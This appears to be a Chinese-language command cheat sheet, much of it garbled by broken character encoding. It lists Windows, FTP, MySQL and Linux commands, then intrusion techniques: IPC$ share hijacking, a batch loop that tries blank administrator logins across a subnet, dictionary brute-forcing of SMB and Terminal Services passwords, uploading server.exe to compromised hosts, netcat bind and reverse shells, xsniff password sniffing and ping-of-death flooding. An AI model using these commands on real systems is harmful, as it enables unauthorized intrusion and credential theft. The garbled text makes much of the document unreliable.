ping 192.168.10.88 Q?/span>t Q参敎ͼt是等待用户去中断试
2.查看DNS?/span>IP?/span>Mac{?/span>
A.Win98Q?/span>winipcfg
B.Win2000以上Q?/span>Ipconfig/all
C.NSLOOKUPQ如查看沛_?/span>DNS
C:">nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 则将DNS改ؓ?/span>41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.|络信
Net send 计算机名/IP|* (q播) 传送内容，注意不能跨网D?/span>
net stop messenger 停止信服务Q也可以在面板－服务修改
net start messenger 开始信使服?/span>
4.探测ҎҎ计算机名Q所在的l、域及当前用户名
ping Q?/span>a IP Q?/span>t Q只昄NetBios?/span>
nbtstat -a 192.168.10.146 比较全的
5.netstat -a 昄Z的计机当前所开攄所有端?/span>
netstat -s -e 比较详细的显CZ的网l资料，包括TCP?/span>UDP?/span>ICMP ?/span> IP的统计等
6.探测arpl定Q动态和静态）列表Q显C所有连接了我的计算机，昄ҎIP?/span>MAC地址
arp -a
7.在代理服务器?/span>
捆绑IP?/span>MAC地址Q解军_域网内盗?/span>IPQ?/span>
ARP Q?/span>s 192.168.10.59 00Q?/span>50Q?/span>ffQ?/span>6cQ?/span>08Q?/span>75
解除|卡?/span>IP?/span>MAC地址的绑定：
arp -d |卡IP
8.在网l邻居上隐藏你的计算?/span>
net config server /hidden:yes
net config server /hidden:no 则ؓ开?/span>
9.几个net命o
A.昄当前工作l服务器列表 net viewQ当不带选项使用本命令时Q它׃昄当前域或|络上的计算Z的列表?/span>
比如Q查看这?/span>IP上的׃n资源Q就可以
C:">net view 192.168.10.8
?/span> 192.168.10.8 的共享资?/span>
资源׃n?/span> cd 用?/span> 注释
--------------------------------------
|站服务 Disk
命o成功完成?/span>
B.查看计算Z的用户帐号列?/span> net user
C.查看|络链接 net use
例如Q?/span>net use z: ""192.168.10.8"movie 这?/span>IP?/span>movie׃n目录映射为本地的Z?/span>
D.记录链接 net session
例如Q?/span>
C:">net session
计算?/span> 用户?/span> 客户cd 打开I闲旉
-------------------------------------------------------------------------------
""192.168.10.110 ROME Windows 2000 2195 0 00:03:12
""192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命o成功完成?/span>
10.路由跟踪命o
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了昄路由外，q提?/span>325S的分析，计算丢失包的Q?/span>
11.关于׃n安全的几个命?/span>
A.查看你机器的׃n资源 net share
B.手工删除׃n
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有I格?/span>
C.增加一个共享：
c:"net share mymovie=e:"downloads"movie /users:1
mymovie ׃n成功?/span>
同时限制链接用户Cؓ1人?/span>
12.?/span>DOS行下讄静?/span>IP
A.讄静?/span>IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地链接" static IP地址 mask gateway
B.查看IP讄
interface ip>show address
13Q?/span>Nbtstat 是解?NetBIOS 名称解析问题的有用工兗可以用nbtstat 命o删除或更正预加蝲的项目：
nbtstat -n 昄由服务器或重定向器之cȝE序在系l上本地注册的名U?span>
nbtstat -c 昄 NetBIOS 名称~存Q包含其他计机的名U对地址映射?span>
nbtstat -RR 释放?WINS 服务器上注册?NetBIOS 名称Q然后刷新它们的注册?span>
nbtstat -a name ?name 指定的计机执行 NetBIOS 适配器状态命令。适配器状态命令将
q回计算机的本地 NetBIOS 名称表，以及适配器的媒体讉K控制地址?
nbtstat -S 列出当前?NetBIOS 会话及其状态（包括l计Q?/span>
15Q?span>C:"> tracert 172.16.0.99 -d
Tracing route to 172.16.0.99 over a maximum of 30
hops
1 2s 3s 2s 10,0.0,1
2 75 ms 83 ms 88 ms 192.168.0.1
3 73 ms 79 ms 93 ms 172.16.0.99
Trace complete.
]]>
net use h: ""ip"c$ "密码" /user:"用户? 直接登陆后映对方CQ到本地为H:
net use h: ""ip"c$ 登陆后映对方CQ到本地为H:
net use ""ip"ipc$ /del 删除IPC链接
net use h: /del 删除映射Ҏ到本地的为H:的映?
net user 用户名 密码 /add 建立用户
net user guest /active:yes Ȁzguest用户
net user 查看有哪些用?
net user 帐户?查看帐户的属?
net localgroup ***istrators 用户?/add ?#8220;用户”d到管理员中其具有管理员权限,注意Q?**istrator后加s用复?
net start 查看开启了哪些服务
net start 服务名 开启服务；(?net start telnetQ?net start schedule)
net stop 服务?停止某服?
net time ""目标ip 查看Ҏ旉
net time ""目标ip /set 讄本地计算机时间与“目标IP”L的时间同?加上参数/yes可取消确认信?
net view 查看本地局域网内开启了哪些׃n
net view ""ip 查看Ҏ局域网内开启了哪些׃n
net config 昄pȝ|络讄
net logoff 断开q接的共?
net pause 服务?暂停某服?
net send ip "文本信息" 向对方发信息
net ver 局域网内正在用的|络q接cd和信?
net share 查看本地开启的׃n
net share ipc$ 开启ipc$׃n
net share ipc$ /del 删除ipc$׃n
net share c$ /del 删除CQ共?
net user guest 12345 用guest用户登陆后用密码改?2345
net password 密码 更改pȝ登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网l连接情况，常用netstat -an
netstat -v 查看正在q行的工?
netstat -p 协议?例：netstat -p tcq/ip 查看某协议用情况（查看tcp/ip协议使用情况Q?
netstat -s 查看正在使用的所有协议用情?
nbtstat -A ip Ҏ136?39其中一个端口开了的话，可查看Ҏ最q登陆的用户名（03前的为用户名Q?注意Q参?A要大?
tracert -参数 ip(或计机? 跟踪路由Q数据包Q，参数Q?#8220;-w数字”用于讄时间隔?
ping ip(或域? 向对方主机发送默认大ؓ32字节的数据，参数Q?#8220;-l[I格]数据包大?#8221;Q?#8220;-n发送数据次?#8221;Q?#8220;-t”指一直ping?
ping -t -l 65550 ip M之ping(发送大?4K的文件ƈ一直ping成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址Qipconfig可用参数“/all”昄全部配置信息
tlist -t 以树行列表显CE?为系l的附加工具Q默认是没有安装的，在安装目录的Support/tools文g夹内)
kill -F q程??F参数后强制结束某q程(为系l的附加工具Q默认是没有安装的，在安装目录的Support/tools文g夹内)
del -F 文g??F参数后就可删除只L?/AR?AH?AS?AA分别表示删除只读、隐藏、系l、存档文Ӟ/A-R?A-H?A-S?A-A表示删除除只诅R隐藏、系l、存档以外的文g。例?#8220;DEL/AR *.*”表示删除当前目录下所有只LӞ“DEL/A-S *.*”表示删除当前目录下除pȝ文g以外的所有文?br />
#2 二：
del /S /Q 目录 或用Qrmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时用参?Q 可取消删除操作时的系l确认就直接删除。（二个命o作用相同Q?
move 盘符"路径"要移动的文g名 存放Ud文g的\?Ud后文件名 Ud文g,用参?y取消确认移动目录存在相同文件的提示q接覆?
fc one.txt two.txt > 3st.txt Ҏ二个文gq把不同之处输出?st.txt文g中，"> "?> >" 是重定向命o
at id?开启已注册的某个计划Q?
at /delete 停止所有计划Q务，用参?yes则不需要确认就直接停止
at id?/delete 停止某个已注册的计划d
at 查看所有的计划d
at ""ip time E序?或一个命? /r 在某旉q行Ҏ某程序ƈ重新启动计算?
finger username @host 查看最q有哪些用户登陆
telnet ip 端口 q和登陆服务?默认端口?3
open ip q接到IPQ属telnet登陆后的命oQ?
telnet 在本Z直接键入telnet 进入本机的telnet
copy 路径"文g? 路径"文g? /y 复制文g1到指定的目录为文?Q用参数/y同时取消确认你要改写一份现存目录文?
copy c:"srv.exe ""ip"***$ 复制本地c:"srv.exe到对方的***?
cppy 1st.jpg/b+2st.txt/a 3st.jpg ?st.txt的内容藏w到1st.jpg中生?st.jpg新的文gQ注Q?st.txt文g头要IZ排，参数Q?b指二q制文gQ?a指ASCLL格式文g
copy ""ip"***$"svv.exe c:" ?copy""ip"***$"*.* 复制Ҏ***i$׃n下的srv.exe文gQ所有文Ӟx地CQ?
xcopy 要复制的文g或目录树 目标地址"目录?复制文g和目录树Q用参数/Y不提示覆盖相同文g
tftp -i 自己IP(用肉Zx时这用肉机IP) get server.exe c:"server.exe 登陆后，?#8220;IP”的server.exe下蝲到目标主机c:"server.exe 参数Q?i指以二进制模式传送，如传送exe文g时用Q如不加-i 则以ASCII模式Q传送文本文件模式）q行传?
tftp -i ҎIP put c:"server.exe 登陆后，上传本地c:"server.exe至主?
ftp ip 端口 用于上传文gx务器或进行文件操作，默认端口?1。bin指用二进制方式传送（可执行文件进Q；默认为ASCII格式传?文本文g?
route print 昄出IP路由Q将主要昄|络地址Network addresQ子|掩码NetmaskQ网兛_址Gateway addresQ接口地址Interface
arp 查看和处理ARP~存QARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a显C出全部信息
start E序名或命o /max ?min 新开一个新H口q最大化Q最化Q运行某E序或命?
mem 查看cpu使用情况
attrib 文g?目录? 查看某文Ӟ目录Q的属?
attrib 文g?-A -R -S -H ?+A +R +S +H L(d)某文件的 存档Q只读，pȝQ隐?属性；用＋则是d为某属?
dir 查看文gQ参敎ͼ/Q昄文g及目录属pȝ哪个用户Q?T:C昄文g创徏旉Q?T:A昄文g上次被访问时_/T:W上次被修Ҏ?
date /t ?time /t 使用此参数即“DATE/T”?#8220;TIME/T”只昄当前日期和时_而不必输入新日期和时?
set 指定环境变量名称=要指z变量的字W?讄环境变量
set 昄当前所有的环境变量
set p(或其它字W? 昄出当前以字符p(或其它字W?开头的所有环境变?
pause 暂停批处理程序，q显C出Q请按Q意键l箋....
if 在批处理E序中执行条件处理（更多说明见if命o及变量）
goto 标签 cmd.exe导向到批处理E序中带标签的行Q标{ֿd独一行，且以冒号打头Q例如：“Qstart”标签Q?
call 路径"批处理文件名 从批处理E序中调用另一个批处理E序 Q更多说明见call /?Q?
for 对一l文件中的每一个文件执行某个特定命令（更多说明见for命o及变量）
echo on或off 打开或关闭echoQ仅用echo不加参数则显C当前echo讄
echo 信息 在屏q上昄Z?
echo 信息 >> pass.txt ?信息"保存到pass.txt文g?
findstr "Hello" aa.txt 在aa.txt文g中寻扑֭W串hello
find 文g?查找某文?
title 标题名字 更改CMDH口标题名字
color 颜色?讄cmd控制台前景和背景颜色Q?Q黑?Q蓝?Q绿?Q浅lѝ?Q红?Q?Q黄?=白?=灰?=淡蓝、AQElѝB=淡浅lѝC=淡红、D=淡、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显C的命o提示W?把C:"、D:"l一改ؓQEntSky" )
#3 三：
ver 在DOSH口下显C版本信?
winver 弹出一个窗口显C版本信息（内存大小、系l版本、补丁版本、计机名）
format 盘符 /FS:cd 格式化磁?cd:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录?创徏目录
replace 源文件 要替换文件的目录 替换文g
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显C出目录Q用参数-f 列出第个文件夹中文件名U?
type 文g?昄文本文g的内?
more 文g?逐屏昄输出文g
doskey 要锁定的命oQ字W?br /> doskey 要解锁命? 为DOS提供的锁定命?~辑命o行，重新调用win2k命oQƈ创徏?。如Q锁定dir命oQdoskey dir=entsky (不能用doskey dir=dir)Q解锁：doskey dir=
taskmgr 调出d理?
chkdsk /F D: 查磁盘Dq显C状态报告；加参?fq修复磁盘上的错?
tlntadmn telnt服务admn,键入tlntadmn选择3Q再选择8,可以更改telnet服务默认端口23为其它Q何端?
exit 退出cmd.exeE序或目前，用参?B则是退出当前批处理脚本而不是cmd.exe
path 路径"可执行文件的文g?为可执行文g讄一个\径?
cmd 启动一个win2K命o解释H口。参敎ͼ/eff?en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无Q何提C；
regedit /e 注册表文件名 导出注册?
cacls 文g名 参数 昄或修Ҏ件访问控制列表（ACLQ——针对NTFS格式时。参敎ͼ/D 用户?讑֮拒绝某用戯问；/P 用户?perm 替换指定用户的访问权限；/G 用户?perm 赋予指定用户讉K权限QPerm 可以? N 无，R dQ?W 写入Q?C 更改(写入)QF 完全控制Q例Qcacls D:"test.txt /D pub 讑֮d:"test.txt拒绝pub用户讉K?
cacls 文g?查看文g的访问用h限列?
REM 文本内容 在批处理文g中添加注?
netsh 查看或更Ҏ地网l配|情?br />
#4 四：
IIS服务命oQ?
iisreset /reboot 重启win2k计算机（但有提示pȝ重启信息出玎ͼ
iisreset /start或stop 启动Q停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 昄所有Internet服务状?
iisreset /enable或disable 在本地系l上启用Q禁用）Internet服务的重新启?
iisreset /rebootonerror 当启动、停止或重新启动Internet服务Ӟ若发生错误将重新开?
iisreset /noforce 若无法停止Internet服务Q将不会强制l止Internet服务
iisreset /timeout Val在到N时_U）Ӟ仍未停止Internet服务Q若指定/rebootonerror参数Q则电脑会重新开机。预讑րgؓ重新启动20U，停止60U，重新开?U?
FTP 命oQ?(后面有详l说明内?
ftp的命令行格式?
ftp Qv Qd Qi Qn Qg[L名] Qv 昄q程服务器的所有响应信息?br /> Qd 使用调试方式?
Qn 限制ftp的自动登?即不使用.netrc文g?br /> Qg 取消全局文g名?
help [命o] ?Q[命o] 查看命o说明
bye ?quit l止LFTPq程,q出FTP理方式.
pwd 列出当前q端L目录
put ?send 本地文g?[上传CZ的文件名] 本C个文件传送至q端L?
get ?recv [q程L文g名] [下蝲到本地后的文件名] 从远端主Z传送至本地L?
mget [remote-files] 从远端主机接收一Ҏ件至本地L
mput local-files 本CZ一Ҏ件传送至q端L
dir ?ls [remote-directory] [local-file] 列出当前q端L目录中的文g.如果有本地文?将l果写至本地文g
ascii 讑֮以ASCII方式传送文?~省?
bin ?image 讑֮以二q制方式传送文?
bell 每完成一ơ文件传?报警提示
cdup q回上一U目?
close 中断与远E服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连?可指定连接端?
delete 删除q端L中的文g
mdelete [remote-files] 删除一Ҏ?
mkdir directory-name 在远端主Z建立目录
rename [from] [to] 改变q端L中的文g?
rmdir directory-name 删除q端L中的目录
status 昄当前FTP的状?
system 昄q端Lpȝcd
user user-name [password] [account] 重新以别的用户名dq端L
open host [port] 重新建立一个新的连?
prompt 交互提示模式
macdef 定义宏命?
lcd 改变当前本地L的工作目?如果~省,p{到当前用LHOME目录
chmod 改变q端L的文件权?
case 当ؓON?用MGET命o拯的文件名到本地机器中,全部转换为小写字?
cd remoteQdir q入q程L目录
cdup q入q程L目录的父目录
! 在本地机中执行交互shellQexit回到ftp环境,?lsQ?zip
#5 五：
MYSQL 命oQ?
mysql -hL地址 -u用户?Qp密码 q接MYSQL;如果刚安装好MYSQLQ超U用户root是没有密码的?br /> Q例Qmysql -h110.110.110.110 -Uroot -P123456
?u与root可以不用加空|其它也一P
exit 退出MYSQL
mysql*** -u用户?-p旧密?password 新密?修改密码
grant select on 数据?* to 用户名@dL identified by ""密码""; 增加新用戗（注意Q和上面不同Q下面的因ؓ是MYSQL环境中的命oQ所以后面都带一个分号作为命令结束符Q?
show databases; 昄数据库列表。刚开始时才两个数据库Qmysql和test。mysql库很重要它里面有MYSQL的系l信息，我们改密码和新增用户Q实际上是用这个库q行操作?
use mysqlQ?br /> show tables; 昄库中的数据表
describe 表名; 昄数据表的l构
create database 库名; 建库
use 库名Q?br /> create table 表名 (字段讑֮列表)Q?
drop database 库名;
drop table 表名Q?删库和删?
delete from 表名; 表中记录清I?
select * from 表名; 昄表中的记?
mysqldump --opt school>school.bbb 备䆾数据库：Q命令在DOS?"mysql""bin目录下执行）;注释:数据库school备䆾到school.bbb文gQschool.bbb是一个文本文Ӟ文g名Q取，打开看看你会有新发现?
win2003pȝ下新增命令（实用部䆾Q：
shutdown /参数 关闭或重启本地或q程L?br /> 参数说明Q?S 关闭LQ?R 重启LQ?/T 数字 讑֮延时的时_范围0?80U之_ /A取消开机，/M //IP 指定的远E主机?br /> 例：shutdown /r /t 0 立即重启本地LQ无延时Q?
taskill /参数 q程名或q程的pid l止一个或多个d和进E?br /> 参数说明Q?PID 要终止进E的pid,可用tasklist命o获得各进E的pidQ?IM 要终止的q程的进E名Q?F 强制l止q程Q?T l止指定的进E及他所启动的子q程?
tasklist 昄当前q行在本地和q程L上的q程、服务、服务各q程的进E标识符(PID)?br /> 参数说明Q?M 列出当前q程加蝲的dll文gQ?SVC 昄出每个进E对应的服务Q无参数时就只列出当前的q程?br />
#6 六：
Linuxpȝ下基本命令： 要区分大写
uname 昄版本信息Q同win2K?verQ?
dir 昄当前目录文g,ls -al 昄包括隐藏文gQ同win2K?dirQ?
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录，注意cd ?.之间有空根{cd /q回到根目录?
cat 文g?查看文g内容
cat >abc.txt 往abc.txt文g中写上内宏V?
more 文g?以一一늚方式昄一个文本文件?
cp 复制文g
mv Ud文g
rm 文g?删除文gQrm -a 目录名删除目录及子目?
mkdir 目录?建立目录
rmdir 删除子目录，目录内没有文档?
chmod 讑֮档案或目录的存取权限
grep 在档案中查找字符?
diff 档案文g比较
find 档案搜寻
date 现在的日期、时?
who 查询目前和你使用同一台机器的Z及Login旉地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名U?
groups 查看某h的Group
passwd 更改密码
history 查看自己下过的命?
ps 昄q程状?
kill 停止某进E?
gcc 黑客通常用它来编译C语言写的文g
su 权限转换为指定用?
telnet IP telnetq接ҎLQ同win2KQ，当出现bash$时就说明q接成功?
ftp ftpq接上某服务器（同win2KQ?
附：批处理命令与变量
1Qfor命o及变?基本格式Q?
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数Q如Q?i Q而指定一个变量则用：%%i Q而调用变量时用：%i% Q变量是区分大小写的Q?i 不等?%IQ?br /> 批处理每ơ能处理的变量从%0?9?0个，其中%0默认l批处理文g名用，%1默认Z用此批处理时输入的的W一个|同理Q?2?9指输入的W?-9个|例：net use ""ip"ipc$ pass /user:user 中ip?1,pass?2 ,user?3
(set):指定一个或一l文Ӟ可用通配W，如：(D:"user.txt)?1 1 254)(1 -1 254),{ “(1 1 254)”W一?1"指v始|W二?1"指增镉KQ第三个"254"指结束|卻I??54Q?#8220;(1 -1 254)”说明Q即?54? }
commandQ指定对W个文g执行的命令，如：net use命oQ如要执行多个命令时Q命令这间加Q?amp; 来隔开
command_parametersQؓ特定命o指定参数或命令行开?br />
IN (set)Q指?set)中取|DO command Q指执行command
参数Q?L 指用增量形式{ (set)为增量Ş式时 }Q?F 指从文g中不断取|直到取完为止{ (set)为文件时Q如(d:"pass.txt)?}?
用法举例Q?
@echo off
echo 用法格式Qtest.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use ""%1.%%G /user:***istrator | find "命o成功完成" >>test.txt
存ؓtest.bat 说明Q对指定的一个CcȝD늚254个IP依次试徏?**istrator密码为空的IPC$q接Q如果成功就把该IP存在test.txt中?br />
/L指用增量形式Q即?-254?54-1Q；输入的IP前面三位Q?.*.*为批处理默认?%1Q?%G 为变?ip的最后一位）Q?amp; 用来隔开echo 和net use q二个命令；| 指徏立了ipc$后，在结果中用find查看是否?命o成功完成"信息Q?1.%%G 为完整的IP地址Q?1 1 254) 指v始|增长量，l止倹{?
@echo off
echo 用法格式Qok.bat ip
FOR /F %%i IN (D:"user.dic) DO smb.exe %1 %%i D:"pass.dic 200
存ؓQok.exe 说明Q输入一个IP后，用字典文件d:"pass.dic来暴解d:"user.dic中的用户密码Q直到文件中值取完ؓ止?%i为用户名Q?1入的IP地址Q默认）。http://www.jz5u.com
#7 七：
2Qif命o及变?基本格式Q?
IF [not] errorlevel 数字 命o语句 如果E序q行最后返回一个等于或大于指定数字的退出编码，指定条g?#8220;?#8221;?br /> 例：IF errorlevel 0 命o 指程序执行后q回的gؓ0ӞD后面的命令；IF not errorlevel 1 命o指程序执行最后返回的g{于1Q就执行后面的命令?br /> 0 指发现ƈ成功执行Q真Q；1 指没有发现、没执行Q假Q?
IF [not] 字符?==字符? 命o语句 如果指定的文本字W串匚wQ即Q字W串1 {于 字符?Q，执行后面的命o?br /> 例：“if "%2%"=="4" goto start”指：如果输入的第二个变量?Ӟ执行后面的命令（注意Q调用变量时?变量?q加" "Q?
IF [not] exist 文g?命o语句 如果指定的文件名存在Q就执行后面的命令?br /> 例：“if not nc.exe goto end”指：如果没有发现nc.exe文gp?:end"标签处?
IF [not] errorlevel 数字 命o语句 else 命o语句?IF [not] 字符?==字符? 命o语句 else 命o语句?IF [not] exist 文g?命o语句 else 命o语句 加上Qelse 命o语句后指Q当前面的条件不成立Ӟ指行else后面的命令。注意：else 必须?if 在同一行才有效?当有del命o旉把del命o全部内容?lt; >括v来，因ؓdel命o要单独一行时才能执行Q用?lt; >后就{于是单独一行了Q例如：“if exist test.txt. <del test.txt.> else echo test.txt.missing ”Q注意命令中?#8220;.”
Q二Q系l外部命?均需下蝲相关工具)Q?br />
1、瑞士军刀Qnc.exe
参数说明Q?
-h 查看帮助信息
-d 后台模式
-e progE序重定向，一但连接就执行Qd险］
-i secs延时的间?
-l 监听模式Q用于入站连?
-L 监听模式Q连接天闭后仍然l箋监听Q直到CTR+C
-n IP地址Q不能用域名
-o film记录16q制的传?
-p[I格]端口 本地端口?
-r 随机本地及远E端?
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出Q用-vv更详细
-w数字 timeout延时间隔
-z 输入，输出xQ用于扫锚时Q?
基本用法Q?
nc -nvv 192.168.0.1 80 q接?92.168.0.1L?0端口
nc -l -p 80 开启本机的TCP 80端口q监?
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1?0-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe l定remoteL的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remoteL的cmdshellq反向连?92.168.0.2?354端口
高用法Q?
nc -L -p 80 作ؓ蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C为止
nc -L -p 80 > c:"log.txt 作ؓ蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C,同时把结果输出到c:"log.txt
nc -L -p 80 < c:"honeyport.txt 作ؓ蜜罐?-1Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:"honeyport.txt中内定w入道中，亦可起到传送文件作?
type.exe c:"honeyport | nc -L -p 80 作ؓ蜜罐?-2Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:"honeyport.txt中内定w入道?亦可起到传送文件作?
本机上用Qnc -l -p 本机端口
在对方主Z用：nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向q接H破ҎL的防火墙
本机上用Qnc -d -l -p 本机端口 < 要传送的文g路径及名U?
在对方主Z用：nc -vv 本机IP 本机端口 > 存放文g的\径及名称 传送文件到ҎL
?注：
| 道命o
< ?> 重定向命令?#8220;<”Q例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命o
Q?表示执行Q后面的命oQ但不会昄出来Q后台执行）Q例Q＠dir c:"winnt >> d:"log.txt 意思是Q后台执行dirQƈ把结果存在d:"log.txt?
>?gt;>的区? ">"指：覆盖Q?>>"指：保存?d刎ͼ?br /> 如：@dir c:"winnt >> d:"log.txt和@dir c:"winnt > d:"log.txt二个命o分别执行二次比较看：?gt;>的则是把二次的结果都保存了，而用Q?gt;则只有一ơ的l果Q是因ؓW二ơ的l果把第一ơ的覆盖了?br />
#8 八：
2、扫锚工Pxscan.exe
基本格式
xscan -host <起始IP>[-<l止IP>] <项?gt; [其他选项] 扫锚"起始IP到终止IP"D늚所有主Z?
xscan -file <L列表文g?gt; <项?gt; [其他选项] 扫锚"LIP列表文g?中的所有主Z?
项?
-active 主机是否存z?
-os 远E操作系l类型（通过NETBIOS和SNMP协议Q?
-port 常用服务的端口状?
-ftp FTP弱口?
-pub FTP服务匿名用户写权?
-pop3 POP3-Server弱口?
-smtp SMTP-Server漏洞
-sql SQL-Server弱口?
-smb NT-Server弱口?
-iis IIS~码/解码漏洞
-cgi CGI漏洞
-nasl 加蝲Nessusd脚本
-all 以上所有项?
其它选项
-i 适配器编?讄|络适配? <适配器编?gt;可通过"-l"参数获取
-l 昄所有网l适配?
-v 昄详细扫描q度
-p 跌没有响应的主?
-o 跌没有到开攄口的L
-t q发U程数量,q发L数量 指定最大ƈ发线E数量和q发L数量, 默认数量?00,10
-log 文g?指定扫描报告文g?(后缀为：TXT或HTML格式的文?
用法CZ
xscan -host 192.168.1.1-192.168.255.255 -all -active -p ?92.168.1.1-192.168.255.255|段内主机的所有漏z，跌无响应的L
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o ?92.168.1.1-192.168.255.255|段内主机的标准端口状态，NT弱口令用P最大ƈ发线E数量ؓ150Q蟩q没有检到开攄口的L
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o ?#8220;hostlist.txt”文g中列出的所有主机的标准端口状态，CGI漏洞Q最大ƈ发线E数量ؓ200Q同一时刻最多检?C机，昄详细进度，跌没有到开攄口的Lwww.jz5u.com
#9 九：
3、命令行方式嗅探? xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据?
-udp 输出UDP数据?
-icmp 输出ICMP数据?
-pass qo密码信息
-hide 后台q行
-host 解析L?
-addr IP地址 qoIP地址
-port 端口 qo端口
-log 文g?输Z存到文g
-asc 以ASCII形式输出
-hex ?6q制形式输出
用法CZ
xsniff.exe -pass -hide -log pass.log 后台q行嗅探密码q将密码信息保存在pass.log文g?
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1q过滤tcp和udp信息q以ASCII格式输出
4、终端服务密码破? tscrack.exe
参数说明
-h 昄使用帮助
-v 昄版本信息
-s 在屏q上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个q接Q多U程Q?
-N Prevent System Log entries on targeted server
-U 卸蝲U除tscracklg
-f 使用Qf后面的密?
-F 间隔旉Q频率）
-l 使用Ql后面的用户名
-w 使用Qw后面的密码字?
-p 使用Qp后面的密?
-D d主页?
用法CZ
tscrack 192.168.0.1 -l ***istrator -w pass.dic q程用密码字典文件暴破主机的***istrator的登陆密?
tscrack 192.168.0.1 -l ***istrator -p 123456 用密?23456q程登陆192.168.0.1?**istrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存?389.bat) Q假讄有用SuperScan或其它扫锚器扫到一批开?389的主机IP列表文g3389.txt)
3389.bat意思是Q从3389.txt文g中取一个IPQ接着q行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (q行3389.batOKQ且3389.bat、hack.bat?389.txt、pass.dic与tscrack.exe在同一个目录下Q就可以{待l果?
hack.bat意思是Q运行tscrack.exe用字典暴?389.txt中所有主机的***istrator密码Qƈ破解结果保存在rouji.txt文g中?
5、其它：
Shutdown.exe
Shutdown ""IP地址 t:20 20U后对方NT自动关闭QWindows 2003pȝ自带工具Q在Windows2000下用q就得下载此工具才能用。在前面Windows 2003 DOS命o中有详细介绍。）
fpipe.exe (TCP端口重定向工? 在第二篇中有详细说明Q端口重定向l过防火墙）
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你?0端口Ӟ他扫到的l果会完全是www.sina.com.cn的主Z?
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnethl端口重定向后，通过88端口发送到目标IP?3端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后Q直接Telnet 127.0.0.1Q本机IPQ就q接到目标IP?3端口了?
OpenTelnet.exe (q程开启telnet工具)
opentelnet.exe ""IP 帐号 密码 ntlm认证方式 Telnet端口 Q不需要上传ntlm.exe破坏微Y的n份验证方式）直接q程开启对方的telnet服务后，可用telnet ""ip q接上对斏V?br /> NTLM认证方式Q０Q不使用NTLMw䆾验证Q１Q先试NTLMw䆾验证Q如果失败，再用用户名和密码；Q：只用NTLMw䆾验证?br />
ResumeTelnet.exe (OpenTelnet附带的另一个工?
resumetelnet.exe ""IP 帐号 密码 用Telnetq接完对方后Q就用这个命令将Ҏ的Telnet讄q原Qƈ同时关闭Telnet服务?br />
#10 十：
6、FTP命o详解Q?br />
FTP命o是Internet用户使用最频繁的命令之一Q熟悉ƈ灉|应用FTP的内部命令，可以大大方便使用者，q收C半功倍之效。如果你惛_习用进行后台FTP下蝲Q那么就必须学习FTP指o?br />
FTP的命令行格式为：
ftp -v -d -i -n -g [L名] Q其?br />
-v 昄q程服务器的所有响应信息；
-n 限制ftp的自动登录，即不使用Q?n etrc文gQ?br />
-d 使用调试方式Q?br />
-g 取消全局文g名?br />
FTP使用的内部命令如?中括可C可选项):
1.![cmd[args]]Q在本地Z执行交互shellQexit回到ftp环境Q如Q?ls*.zip
2.$ macro-ame[args]Q?执行宏定义macro-name?br />
3.account[password]Q?提供dq程pȝ成功后访问系l资源所需的补充口令?
4.append local-file[remote-file]Q将本地文gq加到远E系l主机，若未指定q程pȝ文g名，则用本地文件名?br />
5.asciiQ用asciicd传输方式?br /> 6.bellQ每个命令执行完毕后计算机响铃一ơ?br />
7.binQ用二q制文g传输方式?br /> 8.byeQ退出ftp会话q程?br />
9.caseQ在使用mgetӞ远E主机文件名中的大写转ؓ写字母?
10.cd remote-dirQ进入远E主机目录?br />
11.cdupQ进入远E主机目录的父目录?
12.chmod mode file-nameQ将q程L文gfile-name的存取方式设|ؓmodeQ如Qchmod 777 a.out?br />
13.closeQ中断与q程服务器的ftp会话(与open对应)?
